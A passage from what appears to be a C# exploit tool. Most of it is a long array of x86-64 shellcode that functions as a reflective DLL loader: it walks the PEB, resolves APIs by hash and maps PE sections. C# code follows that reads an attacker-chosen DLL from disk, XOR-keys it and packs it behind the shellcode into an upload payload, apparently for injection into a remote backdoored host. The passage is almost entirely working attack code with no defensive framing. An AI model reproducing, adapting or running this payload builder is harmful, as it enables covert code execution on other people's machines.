                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xDA, 0x48, 0x31, 0xC9, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x08, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x5A, 0x5F, 0xC3,
                0x57, 0x52, 0x53, 0x51, 0x56, 0x48, 0x8B, 0x76, 0x48, 0x48, 0x8B, 0x7D, 0x20, 0x48, 0x8B, 0x5D, 0x08, 0x48, 0x83, 0xC3, 0x54, 0x48, 0x31, 0xC9, 0x8B, 0x0B, 0xF3,
                0xA4, 0x5E, 0x48, 0x8B, 0x7D, 0x08, 0x48, 0x83, 0xC7, 0x06, 0x48, 0x31, 0xDB, 0x66, 0x8B, 0x1F, 0x48, 0x31, 0xD2, 0x48, 0x39, 0xD3, 0x74, 0x4D, 0x48, 0xB8, 0x28,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x48, 0xF7, 0xE2, 0x5A, 0x48, 0x03, 0x45, 0x10, 0x56, 0x48, 0x8B, 0x76, 0x48, 0x48, 0x89, 0xC1, 0x48, 0x83, 0xC1,
                0x14, 0x4D, 0x31, 0xD2, 0x44, 0x8B, 0x11, 0x4C, 0x01, 0xD6, 0x48, 0x8B, 0x7D, 0x20, 0x48, 0x89, 0xC1, 0x48, 0x83, 0xC1, 0x0C, 0x4D, 0x31, 0xD2, 0x44, 0x8B, 0x11,
                0x4C, 0x01, 0xD7, 0x48, 0x83, 0xC0, 0x10, 0x48, 0x31, 0xC9, 0x8B, 0x08, 0xF3, 0xA4, 0x5E, 0x48, 0xFF, 0xC2, 0xEB, 0xAE, 0x48, 0x31, 0xC0, 0xEB, 0x06, 0x48, 0x31,
                0xC0, 0x48, 0xF7, 0xD0, 0x59, 0x5B, 0x5A, 0x5F, 0xC3, 0x57, 0x52, 0x53, 0x51, 0x48, 0x8B, 0x7D, 0x20, 0xE8, 0x6C, 0xFE, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x0F, 0x85,
                0x50, 0x01, 0x00, 0x00, 0xE8, 0x1F, 0x05, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x85, 0x42, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x7D, 0x00, 0x48, 0xB8, 0x08, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xF7, 0xE2, 0x48, 0x8B, 0x55, 0x18, 0x48, 0x01, 0xC2, 0x48, 0x83,
                0xC2, 0x00, 0x48, 0x31, 0xDB, 0x8B, 0x1A, 0x48, 0x01, 0xFB, 0x48, 0x89, 0x5D, 0x30, 0x48, 0x39, 0xFB, 0x0F, 0x84, 0x0F, 0x01, 0x00, 0x00, 0x49, 0x89, 0xDA, 0x49,
                0x83, 0xC2, 0x10, 0x48, 0x31, 0xC0, 0x41, 0x8B, 0x02, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xF9, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0xDA, 0x48, 0x83,
                0xC2, 0x0C, 0x4D, 0x31, 0xD2, 0x44, 0x8B, 0x12, 0x4C, 0x01, 0xD0, 0x48, 0x89, 0xC1, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x18, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x85,
                0xC0, 0x0F, 0x84, 0xC6, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0x89, 0xDA, 0x48, 0x83, 0xC2, 0x00, 0x48, 0x8B, 0x7D, 0x00, 0x4D, 0x31, 0xD2, 0x44, 0x8B,
                0x12, 0x4C, 0x01, 0xD7, 0x48, 0x89, 0x7D, 0x38, 0x48, 0x89, 0xDA, 0x48, 0x83, 0xC2, 0x10, 0x48, 0x8B, 0x7D, 0x00, 0x4D, 0x31, 0xD2, 0x44, 0x8B, 0x12, 0x4C, 0x01,
                0xD7, 0x48, 0x89, 0x7D, 0x40, 0x48, 0x8B, 0x55, 0x38, 0x48, 0x8B, 0x12, 0x48, 0x85, 0xD2, 0x74, 0x7D, 0x48, 0x89, 0xD7, 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x80, 0x4C, 0x21, 0xD7, 0x74, 0x0C, 0x48, 0x89, 0xD7, 0x48, 0x81, 0xE7, 0xFF, 0xFF, 0x00, 0x00, 0xEB, 0x0B, 0x48, 0x8B, 0x7D, 0x00, 0x48, 0x01, 0xD7,
                0x48, 0x83, 0xC7, 0x02, 0x48, 0x89, 0xFA, 0x48, 0x8B, 0x4D, 0x48, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x20, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x85, 0xC0, 0x74, 0x46,
                0x48, 0x8B, 0x55, 0x40, 0x48, 0x89, 0x02, 0xE8, 0x07, 0x06, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0F, 0xE8, 0x97, 0x05, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x75, 0x05,
                0xE8, 0xF0, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x55, 0x38, 0x48, 0x83, 0xC2, 0x08, 0x48, 0x89, 0x55, 0x38, 0x48, 0x8B, 0x55, 0x40, 0x48, 0x83, 0xC2, 0x08, 0x48, 0x89,
                0x55, 0x40, 0xE9, 0x77, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC3, 0x14, 0xE9, 0xF9, 0xFE, 0xFF, 0xFF, 0x48, 0x31, 0xC0, 0x48, 0xF7, 0xD0, 0xEB, 0x03, 0x48, 0x31, 0xC0,
                0x59, 0x5B, 0x5A, 0x5F, 0xC3, 0x57, 0x52, 0x48, 0x8B, 0x7D, 0x08, 0x48, 0x83, 0xC7, 0x30, 0x48, 0x8B, 0x55, 0x20, 0x48, 0x89, 0x17, 0x48, 0x31, 0xC0, 0x5A, 0x5F,
                0xC3, 0x57, 0x52, 0x53, 0x51, 0x48, 0x8B, 0x55, 0x28, 0x48, 0x85, 0xD2, 0x0F, 0x84, 0xF5, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x48, 0xBA, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xF7, 0xE2, 0x48, 0x8B, 0x55, 0x18, 0x48, 0x01, 0xC2, 0x49, 0x89, 0xD2, 0x49, 0x83, 0xC2,
                0x04, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3A, 0x48, 0x85, 0xFF, 0x0F, 0x84, 0xC1, 0x00, 0x00, 0x00, 0x49, 0x89, 0xD2, 0x49, 0x83, 0xC2, 0x00, 0x48, 0x31, 0xFF, 0x41,
                0x8B, 0x3A, 0x48, 0x85, 0xFF, 0x0F, 0x84, 0xA3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x55, 0x20, 0x48, 0x01, 0xFA, 0x49, 0x89, 0xD2, 0x49, 0x83, 0xC2, 0x04, 0x41, 0x8B,
                0x3A, 0x48, 0x85, 0xFF, 0x0F, 0x84, 0x91, 0x00, 0x00, 0x00, 0x48, 0x83, 0xEF, 0x08, 0x48, 0xD1, 0xEF, 0x48, 0x31, 0xC9, 0x48, 0x39, 0xF9, 0x74, 0x65, 0x48, 0x89,
                0xD3, 0x48, 0x83, 0xC3, 0x08, 0x48, 0x89, 0xC8, 0x48, 0xD1, 0xE0, 0x48, 0x01, 0xC3, 0x48, 0xC7, 0x45, 0x58, 0x00, 0x00, 0x00, 0x00, 0x66, 0x8B, 0x03, 0x66, 0x25,
                0x00, 0xF0, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x00, 0x74, 0x37, 0x66, 0x83, 0xF8, 0x03, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x0A, 0x75, 0x2B, 0x49, 0x89, 0xD2,
                0x49, 0x83, 0xC2, 0x00, 0x41, 0x8B, 0x02, 0x48, 0x89, 0x45, 0x58, 0x48, 0x31, 0xC0, 0x66, 0x8B, 0x03, 0x66, 0x25, 0xFF, 0x0F, 0x48, 0x01, 0x45, 0x58, 0x48, 0x8B,
                0x45, 0x20, 0x48, 0x03, 0x45, 0x58, 0x48, 0x8B, 0x5D, 0x28, 0x48, 0x01, 0x18, 0x48, 0xFF, 0xC1, 0xEB, 0x96, 0x49, 0x89, 0xD2, 0x49, 0x83, 0xC2, 0x04, 0x48, 0x31,
                0xFF, 0x41, 0x8B, 0x3A, 0x48, 0x01, 0xFA, 0xE9, 0x64, 0xFF, 0xFF, 0xFF, 0x48, 0x31, 0xC0, 0x48, 0xF7, 0xD0, 0xEB, 0x03, 0x48, 0x31, 0xC0, 0x59, 0x5B, 0x5A, 0x5F,
                0xC3, 0x57, 0x52, 0x53, 0x51, 0x48, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xBA, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xF7,
                0xE2, 0x48, 0x8B, 0x55, 0x18, 0x48, 0x01, 0xC2, 0x48, 0x89, 0xD1, 0x48, 0x83, 0xC1, 0x04, 0x48, 0x31, 0xC0, 0x8B, 0x01, 0x48, 0x85, 0xC0, 0x74, 0x36, 0x48, 0x89,
                0xD1, 0x48, 0x83, 0xC1, 0x00, 0x48, 0x31, 0xFF, 0x8B, 0x39, 0x48, 0x85, 0xFF, 0x74, 0x25, 0x48, 0x8B, 0x4D, 0x20, 0x49, 0x89, 0xC8, 0x48, 0x01, 0xF9, 0x48, 0x89,
                0x4D, 0x78, 0x48, 0x31, 0xD2, 0xBF, 0x0C, 0x00, 0x00, 0x00, 0xF7, 0xF7, 0x89, 0xC2, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x31,
                0xC0, 0x59, 0x5B, 0x5A, 0x5F, 0xC3, 0x57, 0x52, 0x53, 0x51, 0x48, 0x8B, 0x7D, 0x08, 0x48, 0x83, 0xC7, 0x06, 0x48, 0x31, 0xDB, 0x66, 0x8B, 0x1F, 0x48, 0x31, 0xD2,
                0x48, 0x39, 0xD3, 0x0F, 0x84, 0xE6, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x48, 0xF7, 0xE2, 0x5A, 0x48, 0x03, 0x45,
                0x10, 0x49, 0x89, 0xC2, 0x49, 0x83, 0xC2, 0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3A, 0xC7, 0x85, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xF7, 0xC7,
                0x00, 0x00, 0x00, 0x02, 0x0F, 0x85, 0x9F, 0x00, 0x00, 0x00, 0x48, 0xF7, 0xC7, 0x00, 0x00, 0x00, 0x40, 0x74, 0x0A, 0xC7, 0x85, 0xA6, 0x00, 0x00, 0x00, 0x02, 0x00,
                0x00, 0x00, 0x49, 0xBA, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x85, 0xD7, 0x74, 0x0A, 0xC7, 0x85, 0xA6, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
                0x48, 0xF7, 0xC7, 0x00, 0x00, 0x00, 0x20, 0x74, 0x26, 0x83, 0xBD, 0xA6, 0x00, 0x00, 0x00, 0x02, 0x75, 0x0A, 0xC7, 0x85, 0xA6, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
                0x00, 0x83, 0xBD, 0xA6, 0x00, 0x00, 0x00, 0x04, 0x75, 0x0A, 0xC7, 0x85, 0xA6, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7D, 0x20, 0x48, 0x89, 0xC1,
                0x48, 0x83, 0xC1, 0x0C, 0x4D, 0x31, 0xD2, 0x44, 0x8B, 0x11, 0x4C, 0x01, 0xD7, 0x49, 0x89, 0xC2, 0x49, 0x83, 0xC2, 0x08, 0x41, 0x8B, 0x0A, 0x52, 0x4C, 0x8D, 0x8D,
                0xAA, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x85, 0xA6, 0x00, 0x00, 0x00, 0x48, 0x89, 0xCA, 0x48, 0x89, 0xF9, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x30, 0x48, 0x83, 0xC4,
                0x20, 0x5A, 0x48, 0x85, 0xC0, 0x74, 0x08, 0x48, 0xFF, 0xC2, 0xE9, 0x19, 0xFF, 0xFF, 0xFF, 0x48, 0x31, 0xC0, 0x48, 0xF7, 0xD0, 0xEB, 0x03, 0x48, 0x31, 0xC0, 0x59,
                0x5B, 0x5A, 0x5F, 0xC3, 0x52, 0x57, 0x48, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0C, 0x52, 0x57, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0x20, 0x4C, 0x8B, 0x55, 0x08, 0x49, 0x83, 0xC2, 0x28, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3A, 0x48, 0x01, 0xF8, 0x49, 0xB8, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x20, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x31, 0xC0, 0x5F, 0x5A, 0xC3,
                0x48, 0x39, 0xEC, 0x0F, 0x8D, 0xAA, 0x00, 0x00, 0x00, 0x57, 0x56, 0x53, 0x48, 0x89, 0xE6, 0x48, 0x83, 0xC6, 0x0C, 0x55, 0x6A, 0x00, 0x48, 0x89, 0xE3, 0x51, 0x52,
                0x48, 0x89, 0xE9, 0x48, 0x29, 0xF1, 0x48, 0x83, 0xF9, 0x08, 0x0F, 0x8C, 0x81, 0x00, 0x00, 0x00, 0x50, 0x52, 0x53, 0x48, 0xB8, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x48, 0x6B, 0xC0, 0x08, 0x48, 0x39, 0xC8, 0x7D, 0x03, 0x48, 0x89, 0xC1, 0x48, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xC8,
                0x48, 0xBB, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xF7, 0xFB, 0x48, 0xFF, 0xC8, 0x6A, 0x00, 0x48, 0x83, 0xF8, 0x00, 0x75, 0xF5, 0x48, 0x01, 0xCC,
                0x5B, 0x5A, 0x58, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xE7, 0x48, 0x29, 0xCF, 0x48, 0x89, 0xFC, 0xF3, 0xA4, 0x48, 0x89, 0x23, 0x48, 0x8B, 0x4B, 0xF8, 0x48, 0x8B, 0x53,
                0xF0, 0x48, 0xC7, 0x43, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x43, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x04, 0x24, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0xBE,
                0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xFF, 0xE0, 0x59, 0x59, 0x5D, 0x5D, 0x5B, 0x5E, 0x5F, 0xFF, 0xE0, 0x48, 0x89, 0xE1, 0x48, 0x2B, 0x4D, 0x08, 0x48,
                0x83, 0xE9, 0x04, 0x48, 0x89, 0xEC, 0x48, 0x83, 0xC4, 0x0C, 0x5D, 0x5B, 0x5E, 0x5F, 0x5A, 0x48, 0x01, 0xCC, 0xFF, 0xE2, 0x00, 0x00, 0x00, 0x00, 0x57, 0x52, 0x53,
                0x51, 0x48, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xBA, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xF7, 0xE2, 0x48, 0x8B, 0x55,
                0x18, 0x48, 0x01, 0xC2, 0x48, 0x83, 0xC2, 0x04, 0x48, 0x31, 0xDB, 0x8B, 0x1A, 0x48, 0xC1, 0xEB, 0x02, 0x48, 0xB8, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x48, 0xF7, 0xE3, 0x48, 0x89, 0x45, 0x68, 0x49, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x48, 0x89, 0xC2, 0x48, 0x31, 0xC9, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x08, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x85, 0xC0, 0x74, 0x7C, 0x48, 0x89, 0x45, 0x60, 0x48,
                0x8B, 0x46, 0x58, 0x48, 0x8B, 0xBD, 0xAE, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC7, 0x03, 0x48, 0x89, 0x07, 0x48, 0x8B, 0x46, 0x68, 0x48, 0xA9, 0x00, 0x00, 0x00, 0x00,
                0x74, 0x2E, 0x48, 0x8B, 0x85, 0xBE, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x9D, 0xC6, 0x00, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0x5E, 0x60, 0x48, 0x8B, 0xBD, 0xC6,
                0x00, 0x00, 0x00, 0x48, 0x29, 0xDF, 0x48, 0x8B, 0x9D, 0xB6, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xC3, 0x48, 0x89, 0x3B, 0xEB, 0x14, 0x48, 0x8B, 0x85, 0xBE, 0x00, 0x00,
                0x00, 0x48, 0x8B, 0xBD, 0xB6, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xC7, 0x48, 0x89, 0x07, 0x48, 0x8B, 0x46, 0x68, 0x48, 0xA9, 0x01, 0x00, 0x00, 0x00, 0x74, 0x14, 0x48,
                0x8B, 0xBD, 0xB6, 0x00, 0x00, 0x00, 0xC6, 0x07, 0xBF, 0xEB, 0x08, 0x48, 0x31, 0xC0, 0x48, 0xF7, 0xD0, 0xEB, 0x03, 0x48, 0x31, 0xC0, 0x59, 0x5B, 0x5A, 0x5F, 0xC3,
                0x57, 0x52, 0x53, 0x51, 0x56, 0x50, 0x48, 0x8B, 0x7D, 0x60, 0x48, 0x8B, 0x45, 0x70, 0x48, 0x01, 0xC7, 0x48, 0x89, 0xEE, 0x48, 0x81, 0xC6, 0x80, 0x00, 0x00, 0x00,
                0x48, 0xB9, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x48, 0x8B, 0x7D, 0x60, 0x48, 0x8B, 0x45, 0x70, 0x48, 0x01, 0xC7, 0x48, 0x83, 0xC7, 0x00,
                0x48, 0xFF, 0xC7, 0x48, 0x8B, 0x55, 0x40, 0x48, 0x8B, 0x1A, 0x48, 0x89, 0x1F, 0x48, 0x8B, 0xB5, 0xCE, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7D, 0x60, 0x48, 0x8B, 0x45,
                0x70, 0x48, 0x01, 0xC7, 0x48, 0x83, 0xC7, 0x0A, 0x48, 0xFF, 0xC7, 0x48, 0x83, 0xC7, 0x08, 0x48, 0x29, 0xFE, 0x48, 0x8B, 0x7D, 0x60, 0x48, 0x8B, 0x45, 0x70, 0x48,
                0x01, 0xC7, 0x48, 0x83, 0xC7, 0x0A, 0x48, 0xFF, 0xC7, 0x48, 0x89, 0x37, 0x48, 0x8B, 0x7D, 0x60, 0x48, 0x8B, 0x45, 0x70, 0x48, 0x01, 0xC7, 0x48, 0x8B, 0x75, 0x40,
                0x48, 0x89, 0x3E, 0x48, 0x8B, 0x45, 0x70, 0x48, 0x83, 0xC0, 0x0F, 0x48, 0x89, 0x45, 0x70, 0x58, 0x5E, 0x59, 0x5B, 0x5A, 0x5F, 0xC3, 0x57, 0x52, 0x53, 0x51, 0x56,
                0xEB, 0x4D, 0x48, 0x8B, 0x7D, 0x00, 0x48, 0x89, 0xDA, 0x48, 0x83, 0xC2, 0x0C, 0x48, 0x03, 0x3A, 0x48, 0x89, 0xE9, 0x48, 0x81, 0xC1, 0x8F, 0x00, 0x00, 0x00, 0x48,
                0x89, 0xFA, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x28, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x85, 0xC0, 0x74, 0x22, 0x48, 0x89, 0xE9, 0x48, 0x81, 0xC1, 0x9A, 0x00, 0x00,
                0x00, 0x48, 0x89, 0xFA, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x28, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x48, 0x31, 0xC0, 0xEB, 0x0C, 0x48, 0xB8,
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x00, 0x5E, 0x59, 0x5B, 0x5A, 0x5F, 0xC3, 0x57, 0x52, 0x53, 0x51, 0x56, 0x48, 0x8B, 0x7D, 0x48, 0x48, 0x89,
                0xFA, 0x48, 0x83, 0xC2, 0x00, 0x66, 0x8B, 0x1A, 0x66, 0x81, 0xFB, 0x4D, 0x5A, 0x0F, 0x85, 0x9B, 0x00, 0x00, 0x00, 0x48, 0x89, 0xFA, 0x48, 0x83, 0xC2, 0x3C, 0x48,
                0x31, 0xDB, 0x8B, 0x1A, 0x48, 0x01, 0xDF, 0x48, 0x89, 0xFA, 0x48, 0x83, 0xC2, 0x00, 0x48, 0x31, 0xDB, 0x8B, 0x1A, 0x48, 0x81, 0xFB, 0x50, 0x45, 0x00, 0x00, 0x75,
                0x77, 0x48, 0x89, 0xFE, 0x48, 0x83, 0xC6, 0x14, 0x48, 0x31, 0xDB, 0x66, 0x8B, 0x1E, 0x48, 0x89, 0xFE, 0x48, 0x83, 0xC6, 0x18, 0x48, 0x01, 0xDE, 0x48, 0x89, 0xFB,
                0x48, 0x83, 0xC3, 0x06, 0x48, 0x31, 0xC9, 0x66, 0x8B, 0x0B, 0x48, 0x31, 0xD2, 0x48, 0x89, 0xF3, 0x48, 0x83, 0xC3, 0x0C, 0x48, 0x8B, 0x7D, 0x48, 0x4D, 0x31, 0xD2,
                0x44, 0x8B, 0x13, 0x4C, 0x01, 0xD7, 0x48, 0x39, 0xF8, 0x7C, 0x2B, 0x48, 0x89, 0xF3, 0x48, 0x83, 0xC3, 0x08, 0x4D, 0x31, 0xD2, 0x44, 0x8B, 0x13, 0x4C, 0x01, 0xD7,
                0x48, 0x39, 0xF8, 0x7D, 0x16, 0x49, 0x89, 0xF2, 0x49, 0x83, 0xC2, 0x24, 0x48, 0x31, 0xDB, 0x41, 0x8B, 0x1A, 0x48, 0xF7, 0xC3, 0x00, 0x00, 0x00, 0x20, 0x75, 0x11,
                0x48, 0x83, 0xC6, 0x28, 0x48, 0xFF, 0xC2, 0x48, 0x39, 0xCA, 0x7C, 0xB0, 0x48, 0x31, 0xC0, 0xEB, 0x0C, 0x48, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0xEB, 0x00, 0x5E, 0x59, 0x5B, 0x5A, 0x5F, 0xC3, 0xEB, 0x4D, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x21, 0x0D, 0x00, 0x00, 0x4E, 0x0D, 0x00, 0x00, 0x00, 0x09,
                0x00, 0x00, 0x00, 0x5E, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x48, 0x8B, 0x60, 0xC6, 0x48, 0x8B,
                0x68, 0xCE, 0x48, 0x8B, 0x70, 0xD6, 0x48, 0x8D, 0x0D, 0xCA, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x40, 0x48, 0x83, 0xC4, 0x20, 0xE9, 0x11, 0x01,
                0x00, 0x00, 0x4C, 0x89, 0xC6, 0xE9, 0x09, 0x01, 0x00, 0x00, 0x54, 0x55, 0x51, 0x52, 0x53, 0x56, 0x57, 0x48, 0x31, 0xDB, 0x65, 0x48, 0x8B, 0x5B, 0x30, 0x48, 0x8B,
                0x5B, 0x60, 0x48, 0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x10, 0x48, 0x8B, 0x73, 0x60, 0x48, 0x85, 0xF6, 0x0F, 0x84, 0xA6, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6B, 0x30,
                0x48, 0x85, 0xED, 0x0F, 0x84, 0x99, 0x00, 0x00, 0x00, 0x48, 0x31, 0xD2, 0xC1, 0xC2, 0x05, 0x66, 0xAD, 0x0C, 0x20, 0x30, 0xC2, 0x66, 0x83, 0x3E, 0x00, 0x75, 0xF1,
                0x48, 0x8B, 0x1B, 0x48, 0x3B, 0x54, 0x24, 0x20, 0x75, 0xCA, 0x48, 0x89, 0xEF, 0x66, 0x81, 0x3F, 0x4D, 0x5A, 0x75, 0x73, 0x8B, 0x7D, 0x3C, 0x48, 0x01, 0xEF, 0x81,
                0x3F, 0x50, 0x45, 0x00, 0x00, 0x75, 0x65, 0x48, 0x89, 0xF9, 0x48, 0x83, 0xC1, 0x18, 0x48, 0x85, 0xC9, 0x74, 0x59, 0x48, 0x31, 0xD2, 0x8B, 0xBF, 0x88, 0x00, 0x00,
                0x00, 0x48, 0x01, 0xEF, 0x8B, 0x57, 0x1C, 0x48, 0x01, 0xEA, 0x8B, 0x5F, 0x20, 0x48, 0x01, 0xEB, 0x8B, 0x7F, 0x24, 0x48, 0x01, 0xEF, 0x49, 0x89, 0xD1, 0x8B, 0x33,
                0x48, 0x01, 0xEE, 0x48, 0x31, 0xD2, 0xC1, 0xC2, 0x05, 0xAC, 0x0C, 0x20, 0x30, 0xC2, 0x80, 0x3E, 0x00, 0x75, 0xF3, 0x48, 0x3B, 0x54, 0x24, 0x18, 0x74, 0x0C, 0x48,
                0x83, 0xC7, 0x02, 0x48, 0x83, 0xC3, 0x04, 0xE2, 0xDA, 0xEB, 0x10, 0x48, 0x0F, 0xB7, 0x17, 0x48, 0xC1, 0xE2, 0x02, 0x4C, 0x01, 0xCA, 0x8B, 0x02, 0x48, 0x01, 0xE8,
                0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x5D, 0x5C, 0xC3, 0x06, 0xDF, 0xB0, 0x2C, 0x51, 0x33, 0x8A, 0x8D, 0xA4, 0x00, 0x78, 0x95, 0x27, 0x85, 0x00, 0x3B, 0x00, 0xA1, 0xB4,
                0x00, 0xDB, 0xB6, 0xB6, 0xE5, 0x00, 0xC4, 0x22, 0x07, 0xE2, 0x00, 0x82, 0x5A, 0x15, 0x4A, 0x00, 0x02, 0x55, 0xF0, 0xD6, 0xDE, 0x79, 0x03, 0xAA, 0x86, 0x00, 0x0D,
                0xC4, 0x8A, 0xDC, 0x00, 0x00, 0x48, 0x8B, 0x26, 0x50, 0x48, 0x31, 0xC0, 0x48, 0x8D, 0x0D, 0x33, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x1D, 0x2C, 0x00, 0x00, 0x00, 0x48,
                0x29, 0xD9, 0x48, 0x89, 0xDF, 0xF3, 0xAA, 0x48, 0x8D, 0x0D, 0x0D, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x1D, 0x96, 0xF0, 0xFF, 0xFF, 0x48, 0x29, 0xD9, 0x48, 0x89, 0xDF,
                0xF3, 0xAA, 0x58, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0xC3, 0xEB, 0x08, 0x00, 0x14, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
                };
                byte[] recv_buffer = new byte[1024];

                //UInt32 Key = 0x58581162;
                UInt32 Key = key;
                byte[] ByteXORKEY = INT2LE(Key);

                //Your DLL file here
                byte[] array = File.ReadAllBytes("D:\\strike\\file.dll");
                //System.Console.WriteLine(HexDump(array));
                System.Console.WriteLine("File imported into memory!");
                System.Console.WriteLine("Size of file:  {0}", array.Length);
                byte[] upload_payload = new byte[array.Length + 6144];

                byte[] bootstrap_shellcode = new byte[6144];
                Array.Clear(bootstrap_shellcode, 0, 6144);
                uint TotalSize = (uint)array.Length;
                uint dll_ordinal = (uint)1;

                byte[] DLL_AND_SHELLCODE_SIZE = BitConverter.GetBytes(TotalSize + 3978);
                byte[] DLL_SIZE = BitConverter.GetBytes(TotalSize);
                byte[] ORDINAL = BitConverter.GetBytes(dll_ordinal);

                System.Buffer.BlockCopy(shellcode, 0, bootstrap_shellcode, 0, 2157);
                System.Buffer.BlockCopy(DLL_AND_SHELLCODE_SIZE, 0, bootstrap_shellcode, 2158, 4); //2158
                System.Buffer.BlockCopy(shellcode, 2162, bootstrap_shellcode, 2162, 3973);
